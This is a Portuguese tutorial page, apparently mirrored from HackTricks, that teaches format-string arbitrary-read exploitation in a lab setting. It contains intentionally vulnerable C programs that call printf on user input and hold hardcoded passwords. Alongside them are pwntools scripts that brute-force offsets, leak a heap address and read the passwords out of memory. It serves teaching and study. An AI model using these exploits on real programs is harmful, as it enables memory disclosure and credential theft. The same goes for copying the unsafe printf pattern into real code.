mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
169 lines
4.7 KiB
Markdown
169 lines
4.7 KiB
Markdown
# Format Strings - Exemplo de Leitura Arbitrária
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Início da Leitura Binária
|
|
|
|
### Código
|
|
```c
|
|
#include <stdio.h>
|
|
|
|
int main(void) {
|
|
char buffer[30];
|
|
|
|
fgets(buffer, sizeof(buffer), stdin);
|
|
|
|
printf(buffer);
|
|
return 0;
|
|
}
|
|
```
|
|
Compile-o com:
|
|
```python
|
|
clang -o fs-read fs-read.c -Wno-format-security -no-pie
|
|
```
|
|
### Exploit
|
|
```python
|
|
from pwn import *
|
|
|
|
p = process('./fs-read')
|
|
|
|
payload = f"%11$s|||||".encode()
|
|
payload += p64(0x00400000)
|
|
|
|
p.sendline(payload)
|
|
log.info(p.clean())
|
|
```
|
|
- O **offset é 11** porque definir vários As e **brute-forcing** com um loop de offsets de 0 a 50 descobriu que no offset 11 e com 5 caracteres extras (pipes `|` no nosso caso), é possível controlar um endereço completo.
|
|
- Eu usei **`%11$p`** com preenchimento até que o endereço fosse todo 0x4141414141414141
|
|
- O **payload da string de formato está ANTES do endereço** porque o **printf para de ler em um byte nulo**, então se enviarmos o endereço e depois a string de formato, o printf nunca alcançará a string de formato, pois um byte nulo será encontrado antes
|
|
- O endereço selecionado é 0x00400000 porque é onde o binário começa (sem PIE)
|
|
|
|
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
|
|
|
|
## Ler senhas
|
|
```c
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
|
|
|
|
int main() {
|
|
char stack_password[20] = "secretStackPass"; // Password in stack
|
|
char input1[20], input2[20];
|
|
|
|
printf("Enter first password: ");
|
|
scanf("%19s", input1);
|
|
|
|
printf("Enter second password: ");
|
|
scanf("%19s", input2);
|
|
|
|
// Vulnerable printf
|
|
printf(input1);
|
|
printf("\n");
|
|
|
|
// Check both passwords
|
|
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
|
|
printf("Access Granted.\n");
|
|
} else {
|
|
printf("Access Denied.\n");
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
Compile-o com:
|
|
```bash
|
|
clang -o fs-read fs-read.c -Wno-format-security
|
|
```
|
|
### Ler do stack
|
|
|
|
A **`stack_password`** será armazenada no stack porque é uma variável local, então apenas abusar do printf para mostrar o conteúdo do stack é suficiente. Este é um exploit para BF as primeiras 100 posições para vazar as senhas do stack:
|
|
```python
|
|
from pwn import *
|
|
|
|
for i in range(100):
|
|
print(f"Try: {i}")
|
|
payload = f"%{i}$s\na".encode()
|
|
p = process("./fs-read")
|
|
p.sendline(payload)
|
|
output = p.clean()
|
|
print(output)
|
|
p.close()
|
|
```
|
|
Na imagem, é possível ver que podemos vazar a senha da pilha na `10ª` posição:
|
|
|
|
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
|
|
|
|
### Ler dados
|
|
|
|
Executando o mesmo exploit, mas com `%p` em vez de `%s`, é possível vazar um endereço da heap da pilha em `%25$p`. Além disso, comparando o endereço vazado (`0xaaaab7030894`) com a posição da senha na memória nesse processo, podemos obter a diferença dos endereços:
|
|
|
|
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
|
|
|
Agora é hora de descobrir como controlar 1 endereço na pilha para acessá-lo a partir da segunda vulnerabilidade de string de formato:
|
|
```python
|
|
from pwn import *
|
|
|
|
def leak_heap(p):
|
|
p.sendlineafter(b"first password:", b"%5$p")
|
|
p.recvline()
|
|
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
|
return int(response, 16)
|
|
|
|
for i in range(30):
|
|
p = process("./fs-read")
|
|
|
|
heap_leak_addr = leak_heap(p)
|
|
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
|
|
|
password_addr = heap_leak_addr - 0x126a
|
|
|
|
print(f"Try: {i}")
|
|
payload = f"%{i}$p|||".encode()
|
|
payload += b"AAAAAAAA"
|
|
|
|
p.sendline(payload)
|
|
output = p.clean()
|
|
print(output.decode("utf-8"))
|
|
p.close()
|
|
```
|
|
E é possível ver que no **try 14** com o passing utilizado podemos controlar um endereço:
|
|
|
|
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
|
|
|
### Exploit
|
|
```python
|
|
from pwn import *
|
|
|
|
p = process("./fs-read")
|
|
|
|
def leak_heap(p):
|
|
# At offset 25 there is a heap leak
|
|
p.sendlineafter(b"first password:", b"%25$p")
|
|
p.recvline()
|
|
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
|
return int(response, 16)
|
|
|
|
heap_leak_addr = leak_heap(p)
|
|
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
|
|
|
# Offset calculated from the leaked position to the possition of the pass in memory
|
|
password_addr = heap_leak_addr + 0x1f7bc
|
|
|
|
print(f"Calculated address is: {hex(password_addr)}")
|
|
|
|
# At offset 14 we can control the addres, so use %s to read the string from that address
|
|
payload = f"%14$s|||".encode()
|
|
payload += p64(password_addr)
|
|
|
|
p.sendline(payload)
|
|
output = p.clean()
|
|
print(output)
|
|
p.close()
|
|
```
|
|
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|